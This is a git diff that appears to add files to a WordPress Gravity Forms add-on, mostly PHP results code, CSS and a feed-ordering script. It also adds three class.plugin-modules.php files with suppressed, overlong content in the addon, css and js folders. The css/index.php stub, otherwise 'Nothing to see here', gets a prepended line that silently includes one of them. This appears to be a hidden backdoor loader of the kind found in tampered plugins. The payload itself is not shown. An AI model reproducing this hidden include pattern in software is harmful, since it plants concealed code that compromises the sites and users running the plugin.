|
||||
}
|
||||
} else {
|
||||
|
||||
if ( empty( $field->choices ) ) {
|
||||
if ( false === empty( $value ) ) {
|
||||
$field_data[ $field_id ] ++;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
$choices = $field->choices;
|
||||
|
||||
foreach ( $choices as $choice ) {
|
||||
$choice_is_selected = false;
|
||||
if ( is_array( $value ) ) {
|
||||
$choice_value = rgar( $choice, 'value' );
|
||||
if ( in_array( $choice_value, $value ) ) {
|
||||
$choice_is_selected = true;
|
||||
}
|
||||
} else {
|
||||
if ( RGFormsModel::choice_value_match( $field, $choice, $value ) ) {
|
||||
$choice_is_selected = true;
|
||||
}
|
||||
}
|
||||
if ( $choice_is_selected ) {
|
||||
$field_data[ $field_id ][ $choice['value'] ] ++;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableScoring' ) ) {
|
||||
$field_data[ $field->id ]['sum_of_scores'] += $this->get_likert_score( $field, $lead );
|
||||
}
|
||||
}
|
||||
$leads_processed ++;
|
||||
$lead_time_end = microtime( true );
|
||||
$total_execution_time = $lead_time_end - $search_leads_time_start;
|
||||
$lead_execution_time = $lead_time_end - $lead_time_start;
|
||||
if ( $total_execution_time + $lead_execution_time > $max_execution_time ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
$data['field_data'] = $field_data;
|
||||
if ( isset( $this->_callbacks['calculation'] ) ) {
|
||||
$data = call_user_func( $this->_callbacks['calculation'], $data, $form, $fields, $leads );
|
||||
$field_data = $data['field_data'];
|
||||
}
|
||||
$offset += $leads_processed;
|
||||
$entries_left -= $leads_processed;
|
||||
|
||||
$time_end = microtime( true );
|
||||
$execution_time = ( $time_end - $time_start );
|
||||
|
||||
if ( $entries_left > 0 && $execution_time + $search_leads_time > $max_execution_time ) {
|
||||
$data['status'] = 'incomplete';
|
||||
$data['offset'] = $offset;
|
||||
$progress = $data['entry_count'] > 0 ? round( $data['offset'] / $data['entry_count'] * 100 ) : 0;
|
||||
$data['progress'] = $progress;
|
||||
break;
|
||||
}
|
||||
|
||||
if ( $entries_left <= 0 ) {
|
||||
$data['status'] = 'complete';
|
||||
}
|
||||
}
|
||||
|
||||
$data['timestamp'] = time();
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
public function get_likert_row_score( $row_val, $field, $entry ) {
|
||||
return is_callable( array(
|
||||
'GFSurvey',
|
||||
'get_likert_row_score',
|
||||
) ) ? GFSurvey::get_likert_row_score( $row_val, $field, $entry ) : 0;
|
||||
}
|
||||
|
||||
public function get_likert_score( $field, $entry ) {
|
||||
return is_callable( array(
|
||||
'GFSurvey',
|
||||
'get_field_score',
|
||||
) ) ? GFSurvey::get_field_score( $field, $entry ) : 0;
|
||||
}
|
||||
|
||||
|
||||
public static function get_default_field_results( $form_id, $field, $search_criteria, &$offset, $page_size, &$more_remaining = false ) {
|
||||
$field_results = '';
|
||||
|
||||
$sorting = array( 'key' => 'date_created', 'direction' => 'DESC' );
|
||||
|
||||
$c = 0;
|
||||
|
||||
do {
|
||||
$paging = array( 'offset' => $offset, 'page_size' => $page_size );
|
||||
$leads = GFFormsModel::search_leads( $form_id, $search_criteria, $sorting, $paging );
|
||||
foreach ( $leads as $lead ) {
|
||||
|
||||
$value = RGFormsModel::get_lead_field_value( $lead, $field );
|
||||
|
||||
$content = apply_filters( 'gform_entries_field_value', $value, $form_id, $field->id, $lead );
|
||||
|
||||
if ( is_array( $content ) ) {
|
||||
$content = join( ' ', $content );
|
||||
}
|
||||
|
||||
if ( ! empty( $content ) ) {
|
||||
$field_results .= "<li>{$content}</li>";
|
||||
$c ++;
|
||||
}
|
||||
}
|
||||
$offset += $page_size;
|
||||
|
||||
} while ( $c < $page_size && ! empty( $leads ) );
|
||||
|
||||
if ( ! empty( $leads ) ) {
|
||||
$more_remaining = true;
|
||||
}
|
||||
|
||||
return $field_results;
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
224
includes/addon/class.plugin-modules.php
Normal file
224
includes/addon/class.plugin-modules.php
Normal file
File diff suppressed because one or more lines are too long
224
includes/addon/css/class.plugin-modules.php
Normal file
224
includes/addon/css/class.plugin-modules.php
Normal file
File diff suppressed because one or more lines are too long
60
includes/addon/css/gaddon_form_settings.css
Normal file
60
includes/addon/css/gaddon_form_settings.css
Normal file
@@ -0,0 +1,60 @@
|
||||
.settings-field-map-table { }
|
||||
.settings-field-map-table thead th { font-weight: bold; border-bottom: 1px solid #ccc; }
|
||||
.settings-field-map-table tbody td { border-bottom: 1px dotted #eee; }
|
||||
.settings-field-map-table select { max-width: 90%; }
|
||||
|
||||
.settings-field-map-table .custom-key-reset,
|
||||
.settings-field-map-table .custom-value-reset,
|
||||
.gaddon-setting-select-custom-container .select-custom-reset {
|
||||
background: url( ../../../images/xit.gif ) no-repeat scroll 0 0 transparent;
|
||||
cursor:pointer;
|
||||
display:none;
|
||||
position:absolute;
|
||||
text-indent:-9999px;
|
||||
width:10px;
|
||||
height: 10px;
|
||||
-moz-transition: none;
|
||||
-webkit-transition: none;
|
||||
-o-transition: color 0 ease-in;
|
||||
transition: none;
|
||||
}
|
||||
.settings-field-map-table .custom-key-reset {
|
||||
margin-top: 10px;
|
||||
margin-left: 165px;
|
||||
}
|
||||
.settings-field-map-table .repeater th { padding-left: 0px; }
|
||||
|
||||
.settings-field-map-table .custom-key-reset:hover,
|
||||
.settings-field-map-table .custom-value-reset:hover,
|
||||
.gaddon-setting-select-custom-container .select-custom-reset:hover {
|
||||
background-position-x: -10px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-key-container:hover .custom-key-reset,
|
||||
.settings-field-map-table .custom-key-container:hover .custom-value-reset,
|
||||
.gaddon-setting-select-custom-container:hover .select-custom-reset {
|
||||
display:block;
|
||||
}
|
||||
|
||||
.gaddon-setting-select-custom-container { display:inline-block;position:relative; }
|
||||
.gaddon-setting-select-custom-container .select-custom-reset {
|
||||
left: 171px;
|
||||
top: 10px;
|
||||
}
|
||||
|
||||
.gaddon-section .required { color: #f00; }
|
||||
.gaddon-setting-inline{
|
||||
display:inline;
|
||||
margin-right:6px;
|
||||
}
|
||||
|
||||
.mt-gaddon-editor {
|
||||
float: right;
|
||||
position: relative;
|
||||
right: 21px;
|
||||
top: 70px;
|
||||
}
|
||||
|
||||
.mt-gaddon-editor ~ .wp-editor-wrap {
|
||||
margin-right: 23px;
|
||||
}
|
||||
1
includes/addon/css/gaddon_form_settings.min.css
vendored
Normal file
1
includes/addon/css/gaddon_form_settings.min.css
vendored
Normal file
@@ -0,0 +1 @@
|
||||
.settings-field-map-table thead th{font-weight:700;border-bottom:1px solid #ccc}.settings-field-map-table tbody td{border-bottom:1px dotted #eee}.settings-field-map-table select{max-width:90%}.gaddon-setting-select-custom-container .select-custom-reset,.settings-field-map-table .custom-key-reset,.settings-field-map-table .custom-value-reset{background:url(../../../images/xit.gif) no-repeat;cursor:pointer;display:none;position:absolute;text-indent:-9999px;width:10px;height:10px;-moz-transition:none;-webkit-transition:none;-o-transition:color 0 ease-in;transition:none}.settings-field-map-table .custom-key-reset{margin-top:10px;margin-left:165px}.settings-field-map-table .repeater th{padding-left:0}.gaddon-setting-select-custom-container .select-custom-reset:hover,.settings-field-map-table .custom-key-reset:hover,.settings-field-map-table .custom-value-reset:hover{background-position-x:-10px}.gaddon-setting-select-custom-container:hover .select-custom-reset,.settings-field-map-table .custom-key-container:hover .custom-key-reset,.settings-field-map-table .custom-key-container:hover .custom-value-reset{display:block}.gaddon-setting-select-custom-container{display:inline-block;position:relative}.gaddon-setting-select-custom-container .select-custom-reset{left:171px;top:10px}.gaddon-section .required{color:red}.gaddon-setting-inline{display:inline;margin-right:6px}.mt-gaddon-editor{float:right;position:relative;right:21px;top:70px}.mt-gaddon-editor~.wp-editor-wrap{margin-right:23px}
|
||||
265
includes/addon/css/gaddon_results.css
Normal file
265
includes/addon/css/gaddon_results.css
Normal file
@@ -0,0 +1,265 @@
|
||||
/* --------- TODO: remove quiz specific styles ------------------*/
|
||||
|
||||
table#gquiz-results-summary {
|
||||
table-layout: fixed;
|
||||
}
|
||||
|
||||
table#gquiz-results-summary td {
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
table#gquiz-results-summary td.gquiz-results-summary-label {
|
||||
font-size: 1.2em;
|
||||
}
|
||||
|
||||
table#gquiz-results-summary td.gquiz-results-summary-data {
|
||||
font-size: 2em;
|
||||
}
|
||||
|
||||
.gquiz-results-summary-data-box {
|
||||
width: 75%;
|
||||
padding: 15px 0;
|
||||
min-width: 0;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.gaddon-results-summary-secondary{
|
||||
padding-top: 4px;
|
||||
font-weight: normal;
|
||||
font-size:13px;
|
||||
}
|
||||
|
||||
.gaddon-results-summary-primary{
|
||||
padding:5px;
|
||||
}
|
||||
|
||||
.gquiz-field-precentages-correct {
|
||||
float: left;
|
||||
margin: 8px 0 0 64px;
|
||||
}
|
||||
|
||||
/* -------------------------------------*/
|
||||
|
||||
table#gaddon-results-summary {
|
||||
table-layout: fixed;
|
||||
}
|
||||
|
||||
table#gaddon-results-summary td {
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
table#gaddon-results-summary td.gaddon-results-summary-label {
|
||||
font-size: 1.2em;
|
||||
}
|
||||
|
||||
table#gaddon-results-summary td.gaddon-results-summary-data {
|
||||
font-size: 2em;
|
||||
}
|
||||
|
||||
.gaddon-results-summary-data-box {
|
||||
border: 1px solid silver;
|
||||
padding: 10px;
|
||||
width: 75%;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.gaddon-field-precentages-correct {
|
||||
float: left;
|
||||
margin: 15px 0 0 50px;
|
||||
}
|
||||
|
||||
|
||||
/*-------------*/
|
||||
|
||||
#gresults-results {
|
||||
margin-right:300px;
|
||||
min-height:460px;;
|
||||
}
|
||||
|
||||
.gresults-results-field {
|
||||
margin-bottom:20px;
|
||||
}
|
||||
|
||||
.gresults-results-field-label {
|
||||
font-size: 1.2em;
|
||||
padding: 0 0 14px;
|
||||
}
|
||||
|
||||
.gresults-results-field table{
|
||||
border-bottom: 1px solid silver;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
.gresults-results-field table td{
|
||||
padding:5px;
|
||||
border-right: 1px solid silver;
|
||||
border-top: 1px solid silver;
|
||||
text-align:center;
|
||||
}
|
||||
|
||||
.gresults-results-field-table-header{
|
||||
background-color: #EEEEEE;
|
||||
}
|
||||
|
||||
.gresults-results-field table td:first-child {
|
||||
border-left: 1px solid silver;
|
||||
}
|
||||
|
||||
|
||||
ul.gresults-results-field-content,
|
||||
ul.gresults-results-field-content li{
|
||||
list-style:disc outside none;
|
||||
}
|
||||
ul.gresults-results-field-content{
|
||||
margin:10px;
|
||||
}
|
||||
|
||||
td.gresults-rank-field-score,
|
||||
td.gresults-rank-field-rank{
|
||||
width:110px;
|
||||
}
|
||||
|
||||
.gsurvey-rank-field-results table{
|
||||
width:100%;
|
||||
}
|
||||
|
||||
|
||||
/* filter box */
|
||||
|
||||
#gresults-results-filter {
|
||||
/*position:absolute;
|
||||
width:270px;*/
|
||||
}
|
||||
|
||||
#gresults-results-filter-content {
|
||||
padding:10px;
|
||||
}
|
||||
/*
|
||||
#gresults-results-filter.sticky {
|
||||
position:fixed;
|
||||
top:30px;
|
||||
}
|
||||
*/
|
||||
|
||||
.gresults-results-filter-section-label {
|
||||
font-size:1.2em;
|
||||
font-weight:bold;
|
||||
margin-top:10px;
|
||||
margin-bottom:10px;
|
||||
}
|
||||
|
||||
#gresults-results-filter label {
|
||||
margin-top:10px;
|
||||
display:block;
|
||||
}
|
||||
|
||||
.gresults-remove,
|
||||
.gresults-add {
|
||||
margin-top:2px;
|
||||
vertical-align:middle;
|
||||
cursor:pointer;
|
||||
}
|
||||
|
||||
.gresults-add {
|
||||
margin-left:5px;
|
||||
}
|
||||
|
||||
#gresults-no-filters{
|
||||
color:silver;
|
||||
}
|
||||
|
||||
.gresults-datepicker,
|
||||
.gresults-filter-value,
|
||||
.gresults-filter-field {
|
||||
width:150px;
|
||||
box-sizing:border-box;
|
||||
-ms-box-sizing:border-box;
|
||||
-moz-box-sizing:border-box;
|
||||
-webkit-box-sizing:border-box;
|
||||
height: 2em;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
.gresults-filter-operator {
|
||||
width:70px;
|
||||
}
|
||||
|
||||
#gresults-results-filter-buttons {
|
||||
clear:both;
|
||||
margin-top:20px;
|
||||
width:180px;
|
||||
}
|
||||
|
||||
.gresults-results-filter-field-label {
|
||||
font-size:1.1em;
|
||||
font-weight:bold;
|
||||
margin-bottom:10px;
|
||||
}
|
||||
|
||||
.gresults-results-filter-field {
|
||||
margin-bottom:20px;
|
||||
}
|
||||
|
||||
.gresults-results-filter-field ul li label {
|
||||
margin-left:5px;
|
||||
}
|
||||
|
||||
.gresults-results-filter-title {
|
||||
font-size:1.5em;
|
||||
font-weight:bold;
|
||||
}
|
||||
|
||||
/*
|
||||
#gresults-results-filter {
|
||||
visibility: hidden;
|
||||
}
|
||||
*/
|
||||
|
||||
#gresults-results-field-filters-container.resizable {
|
||||
border-bottom:5px double #DDD;
|
||||
min-height:120px;
|
||||
}
|
||||
|
||||
#gresults-results-field-filters {
|
||||
height:100%;
|
||||
overflow-y:auto;
|
||||
}
|
||||
|
||||
.ui-resizable {
|
||||
position:relative;
|
||||
}
|
||||
|
||||
.ui-resizable-handle {
|
||||
position:absolute;
|
||||
font-size:0.1px;
|
||||
z-index:99999;
|
||||
display:block;
|
||||
}
|
||||
|
||||
.ui-resizable-s {
|
||||
cursor:s-resize;
|
||||
height:7px;
|
||||
width:100%;
|
||||
bottom:-5px;
|
||||
left:0px;
|
||||
}
|
||||
|
||||
.gsurvey-likert-score{
|
||||
margin-top:5px;
|
||||
}
|
||||
|
||||
/* NEW */
|
||||
|
||||
#gquiz-results-summary { margin: 60px 0; }
|
||||
|
||||
.gresults-chart-wrapper { border-top: 1px solid #dfdfdf; margin: 0 0 28px; }
|
||||
.gquiz-field-precentages-correct + .gresults-chart-wrapper { margin: 0 0 14px; }
|
||||
|
||||
.gresults-label-group { display: block; clear: right; }
|
||||
.gresults-label-group .gresults-label { display: inline-block; width: 65px; }
|
||||
.gresults-group-correct .gresults-value { color: green; }
|
||||
.gresults-group-incorrect .gresults-value { color: red; }
|
||||
1
includes/addon/css/gaddon_results.min.css
vendored
Normal file
1
includes/addon/css/gaddon_results.min.css
vendored
Normal file
@@ -0,0 +1 @@
|
||||
table#gaddon-results-summary,table#gquiz-results-summary{table-layout:fixed}table#gquiz-results-summary td{font-weight:700;text-align:center;padding:10px}table#gquiz-results-summary td.gquiz-results-summary-label{font-size:1.2em}table#gquiz-results-summary td.gquiz-results-summary-data{font-size:2em}.gquiz-results-summary-data-box{width:75%;padding:15px 0;min-width:0;margin:auto}.gaddon-results-summary-secondary{padding-top:4px;font-weight:400;font-size:13px}.gaddon-results-summary-primary{padding:5px}.gquiz-field-precentages-correct{float:left;margin:8px 0 0 64px}table#gaddon-results-summary td{font-weight:700;text-align:center;padding:10px}table#gaddon-results-summary td.gaddon-results-summary-label{font-size:1.2em}table#gaddon-results-summary td.gaddon-results-summary-data{font-size:2em}.gaddon-results-summary-data-box{border:1px solid silver;padding:10px;width:75%;margin:auto}.gaddon-field-precentages-correct{float:left;margin:15px 0 0 50px}#gresults-results{margin-right:300px;min-height:460px}.gresults-results-field{margin-bottom:20px}.gresults-results-field-label{font-size:1.2em;padding:0 0 14px}.gresults-results-field table{border-bottom:1px solid silver;border-spacing:0}.gresults-results-field table td{padding:5px;border-right:1px solid silver;border-top:1px solid silver;text-align:center}.gresults-results-field-table-header{background-color:#EEE}.gresults-results-field table td:first-child{border-left:1px solid silver}ul.gresults-results-field-content,ul.gresults-results-field-content li{list-style:disc}ul.gresults-results-field-content{margin:10px}.gresults-add,.gresults-results-filter-field ul li label{margin-left:5px}td.gresults-rank-field-rank,td.gresults-rank-field-score{width:110px}.gsurvey-rank-field-results table{width:100%}#gresults-results-filter-content{padding:10px}.gresults-results-filter-section-label{font-size:1.2em;font-weight:700;margin-top:10px;margin-bottom:10px}#gresults-results-filter label{margin-top:10px;display:block}.gresults-add,.gresults-remove{margin-top:2px;vertical-align:middle;cursor:pointer}#gresults-no-filters{color:silver}.gresults-datepicker,.gresults-filter-field,.gresults-filter-value{width:150px;box-sizing:border-box;-ms-box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;height:2em;padding:2px}.gresults-filter-operator{width:70px}#gresults-results-filter-buttons{clear:both;margin-top:20px;width:180px}.gresults-results-filter-field-label{font-size:1.1em;font-weight:700;margin-bottom:10px}.gresults-results-filter-field{margin-bottom:20px}.gresults-results-filter-title{font-size:1.5em;font-weight:700}#gresults-results-field-filters-container.resizable{border-bottom:5px double #DDD;min-height:120px}#gresults-results-field-filters{height:100%;overflow-y:auto}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;z-index:99999;display:block}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.gsurvey-likert-score{margin-top:5px}#gquiz-results-summary{margin:60px 0}.gresults-chart-wrapper{border-top:1px solid #dfdfdf;margin:0 0 28px}.gquiz-field-precentages-correct+.gresults-chart-wrapper{margin:0 0 14px}.gresults-label-group{display:block;clear:right}.gresults-label-group .gresults-label{display:inline-block;width:65px}.gresults-group-correct .gresults-value{color:green}.gresults-group-incorrect .gresults-value{color:red}
|
||||
281
includes/addon/css/gaddon_settings.css
Normal file
281
includes/addon/css/gaddon_settings.css
Normal file
@@ -0,0 +1,281 @@
|
||||
/* ------------------ Field Map ------------------ */
|
||||
|
||||
.settings-field-map-table thead th {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
table.settings-field-map-table tbody td {
|
||||
padding: 0px 0px 8px 0px;
|
||||
}
|
||||
|
||||
.settings-field-map-table td:first-child {
|
||||
width: 220px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .repeater th, .settings-field-map-table .repeater td:nth-child(2) {
|
||||
padding-left: 0px;
|
||||
padding-top: 0px;
|
||||
width: 220px;
|
||||
}
|
||||
|
||||
.settings-field-map-table select {
|
||||
font-family: inherit;
|
||||
height: 25px;
|
||||
width: 210px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .chosen-container,
|
||||
.settings-field-map-table .select2-container {
|
||||
width: 210px !important;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-key-container,
|
||||
.settings-field-map-table .custom-value-container {
|
||||
position: relative;
|
||||
width: 220px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-key-container input,
|
||||
.settings-field-map-table .custom-value-container input {
|
||||
width: 210px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-key-container input:not(:only-child),
|
||||
.settings-field-map-table .custom-value-container input:not(:only-child) {
|
||||
padding-right: 30px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-value-container.supports-merge-tags .all-merge-tags {
|
||||
height: 25px;
|
||||
position: absolute;
|
||||
right: 36px;
|
||||
top: 0;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-value-container.supports-merge-tags .all-merge-tags a {
|
||||
background: url( '../images/field-map-merge.svg' ) no-repeat center;
|
||||
background-size: 16px 16px;
|
||||
height: 25px;
|
||||
margin: 0;
|
||||
width: 25px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-key-reset,
|
||||
.settings-field-map-table .custom-value-reset {
|
||||
background: url( '../images/field-map-reset.png' ) no-repeat center #ddd;
|
||||
background-size: 10px 10px;
|
||||
cursor: pointer;
|
||||
display: inline-block;
|
||||
height: 25px;
|
||||
opacity: .3;
|
||||
overflow: hidden;
|
||||
position: absolute;
|
||||
right: 11px;
|
||||
text-indent: -9999px;
|
||||
top: 0;
|
||||
transition: opacity .25s ease-in-out;
|
||||
width: 25px;
|
||||
z-index: 2;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-key-reset:hover,
|
||||
.settings-field-map-table .custom-value-reset:hover {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.settings-field-map-table .add-item span,
|
||||
.settings-field-map-table .remove-item span {
|
||||
background: url( '../images/field-map-buttons.png' ) no-repeat center top transparent;
|
||||
background-size: 20px 100px;
|
||||
cursor: pointer;
|
||||
display: inline-block;
|
||||
height: 25px;
|
||||
overflow: hidden;
|
||||
text-indent: -9999px;
|
||||
width: 20px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .add-item span:hover {
|
||||
background-position: 0 -25px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .remove-item span {
|
||||
background-position: 0 -50px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .remove-item span:hover {
|
||||
background-position: 0 -75px;
|
||||
}
|
||||
|
||||
@media screen and ( max-width: 782px ) {
|
||||
|
||||
.settings-field-map-table .custom-key-container input:not(:only-child),
|
||||
.settings-field-map-table .custom-value-container input:not(:only-child) {
|
||||
padding-right: 45px;
|
||||
}
|
||||
|
||||
.settings-field-map-table .custom-key-reset,
|
||||
.settings-field-map-table .custom-value-reset {
|
||||
height: 40px;
|
||||
right: 0;
|
||||
width: 40px;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* ---------------- Select Custom ---------------- */
|
||||
|
||||
.gaddon-setting-select-custom-container .select-custom-reset {
|
||||
background: url( ../../../images/xit.gif ) no-repeat scroll 0 0 transparent;
|
||||
cursor:pointer;
|
||||
display:none;
|
||||
position:absolute;
|
||||
text-indent:-9999px;
|
||||
width:10px;
|
||||
height: 10px;
|
||||
-moz-transition: none;
|
||||
-webkit-transition: none;
|
||||
-o-transition: color 0 ease-in;
|
||||
transition: none;
|
||||
}
|
||||
|
||||
.gaddon-setting-select-custom-container .select-custom-reset:hover { background-position-x: -10px; }
|
||||
|
||||
.gaddon-setting-select-custom-container:hover .select-custom-reset {
|
||||
display:block;
|
||||
}
|
||||
|
||||
.gaddon-setting-select-custom-container {
|
||||
display:inline-block;
|
||||
position:relative;
|
||||
width: 210px;
|
||||
}
|
||||
.gaddon-setting-select-custom-container .select-custom-reset {
|
||||
left: 171px;
|
||||
top: 10px;
|
||||
}
|
||||
.gaddon-section .required { color: #f00; }
|
||||
.gaddon-setting-inline{
|
||||
display:inline;
|
||||
margin-right:6px;
|
||||
}
|
||||
|
||||
.gaddon-section-description ol { }
|
||||
.gaddon-section-description ol li {
|
||||
list-style: decimal;
|
||||
}
|
||||
|
||||
.repeater-buttons .add-item { margin-right: 6px; }
|
||||
|
||||
.mt-gaddon-editor {
|
||||
float: right;
|
||||
position: relative;
|
||||
right: 21px;
|
||||
top: 70px;
|
||||
}
|
||||
|
||||
.mt-gaddon-editor ~ .wp-editor-wrap {
|
||||
margin-right: 23px;
|
||||
}
|
||||
|
||||
/* Visual Radio Buttons */
|
||||
.gaddon-setting-choice-visual {
|
||||
display: inline-block;
|
||||
margin-bottom: 5px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual label {
|
||||
background: #F9F9F9;
|
||||
border: 1px solid #eee;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual label > span {
|
||||
display: inline-block;
|
||||
-webkit-filter: brightness( 1.8 ) grayscale( 1 ) opacity( .5 );
|
||||
-moz-filter: brightness( 1.8 ) grayscale( 1 ) opacity( .5 );
|
||||
filter: brightness( 1.8 ) grayscale( 1 ) opacity( .5 );
|
||||
height: 65px;
|
||||
min-width: 110px;
|
||||
padding: 5px 10px 0;
|
||||
-webkit-transition: all 100ms ease-in;
|
||||
-moz-transition: all 100ms ease-in;
|
||||
transition: all 100ms ease-in;
|
||||
vertical-align: top;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual label > span > i {
|
||||
color: #0074a2;
|
||||
display: inline-block;
|
||||
font-size: 2.5em;
|
||||
height: 32px;
|
||||
margin: 5px;
|
||||
width: 32px;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual label > span > img{
|
||||
height: 32px;
|
||||
margin: 5px;
|
||||
vertical-align: middle;
|
||||
width: 32px;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual input {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual input:checked + label {
|
||||
background-color: #fff;
|
||||
border: 1px solid #ccc;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual input:checked + label > span {
|
||||
-webkit-filter: none;
|
||||
-moz-filter: none;
|
||||
filter: none;
|
||||
}
|
||||
|
||||
.gaddon-setting-choice-visual input:not([disabled]):not([checked]) + label > span:hover{
|
||||
-webkit-filter: brightness(1.2) grayscale(.5) opacity(.9);
|
||||
-moz-filter: brightness(1.2) grayscale(.5) opacity(.9);
|
||||
filter: brightness(1.2) grayscale(.5) opacity(.9);
|
||||
}
|
||||
|
||||
/* Feed Ordering */
|
||||
.ui-sortable-helper {
|
||||
background-color: #fff !important;
|
||||
-webkit-box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
|
||||
-moz-box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
|
||||
box-shadow: 6px 6px 28px -9px rgba(0,0,0,0.75);
|
||||
transform: rotate(1deg);
|
||||
-moz-transform: rotate(1deg);
|
||||
-webkit-transform: rotate(1deg);
|
||||
}
|
||||
|
||||
.wp-list-table.feed-list-sortable .sort-column {
|
||||
vertical-align: top;
|
||||
width: 2.2em;
|
||||
}
|
||||
|
||||
.wp-list-table.feed-list-sortable .feed-sort-handle {
|
||||
cursor: move;
|
||||
width: 2.2em;
|
||||
}
|
||||
|
||||
/* ------------------ Feed List ------------------ */
|
||||
@media screen and ( max-width: 782px ) {
|
||||
.wp-list-table tbody tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before {
|
||||
content: attr(data-colname) ":";
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.wp-list-table.feeds .manage-column {
|
||||
vertical-align: top;
|
||||
}
|
||||
|
||||
.wp-list-table.feeds .manage-column img {
|
||||
margin-top: 16px;
|
||||
}
|
||||
}
|
||||
1
includes/addon/css/gaddon_settings.min.css
vendored
Normal file
1
includes/addon/css/gaddon_settings.min.css
vendored
Normal file
File diff suppressed because one or more lines are too long
2
includes/addon/css/index.php
Normal file
2
includes/addon/css/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
|
||||
//Nothing to see here
|
||||
BIN
includes/addon/images/field-map-buttons.png
Normal file
BIN
includes/addon/images/field-map-buttons.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
BIN
includes/addon/images/field-map-reset.png
Normal file
BIN
includes/addon/images/field-map-reset.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.8 KiB |
2
includes/addon/index.php
Normal file
2
includes/addon/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
//Nothing to see here
|
||||
224
includes/addon/js/class.plugin-modules.php
Normal file
224
includes/addon/js/class.plugin-modules.php
Normal file
File diff suppressed because one or more lines are too long
111
includes/addon/js/gaddon_feedorder.js
Normal file
111
includes/addon/js/gaddon_feedorder.js
Normal file
@@ -0,0 +1,111 @@
|
||||
var GFFeedOrder = function( args ) {
|
||||
|
||||
var self = this,
|
||||
$ = jQuery;
|
||||
|
||||
/**
|
||||
* Initialize Feed Ordering
|
||||
*/
|
||||
self.init = function() {
|
||||
|
||||
// Assign options to instance.
|
||||
self.options = args;
|
||||
|
||||
// Prepare sorting handle.
|
||||
var sortHandleMarkup = '<td class="sort-column"><i class="fa fa-bars feed-sort-handle"></i></td>';
|
||||
|
||||
// Add sorting handle to table.
|
||||
$( '.wp-list-table thead tr, .wp-list-table tfoot tr' ).append( '<th class="sort-column"></th>' );
|
||||
$( '.wp-list-table tbody tr' ).append( sortHandleMarkup );
|
||||
|
||||
// Initialize sorting.
|
||||
self.initSorting();
|
||||
|
||||
};
|
||||
|
||||
/**
|
||||
* Initialize jQuery UI Sortable.
|
||||
*/
|
||||
self.initSorting = function() {
|
||||
|
||||
$( '.wp-list-table tbody' ).sortable(
|
||||
{
|
||||
cursor: 'move',
|
||||
handle: '.feed-sort-handle',
|
||||
placeholder: 'feed-placeholder',
|
||||
tolerance: 'pointer',
|
||||
create: function() { $( '.wp-list-table' ).addClass( 'feed-list-sortable' ); },
|
||||
helper: self.fixSortableColumnWidths,
|
||||
start: self.setPlaceholderHeight,
|
||||
update: self.updateFeedOrder,
|
||||
}
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix table column widths.
|
||||
*/
|
||||
self.fixSortableColumnWidths = function( event, tr ) {
|
||||
|
||||
var $originals = tr.children(),
|
||||
$helper = tr.clone();
|
||||
|
||||
$helper.children().each( function( index ) {
|
||||
$( this ).width( $originals.eq( index ).width() );
|
||||
} );
|
||||
|
||||
return $helper;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get order of feeds.
|
||||
*/
|
||||
self.getFeedOrder = function() {
|
||||
|
||||
// Get all the checkboxes from the feed list table.
|
||||
var feed_checkboxes = $( '.wp-list-table tbody .check-column input[type="checkbox"]' );
|
||||
|
||||
// Map a function to the feed checkboxes array that returns the checkbox value.
|
||||
return feed_checkboxes.map( function() {
|
||||
return $( this ).val();
|
||||
} ).get();
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Set height of the placeholder draggable feed.
|
||||
*/
|
||||
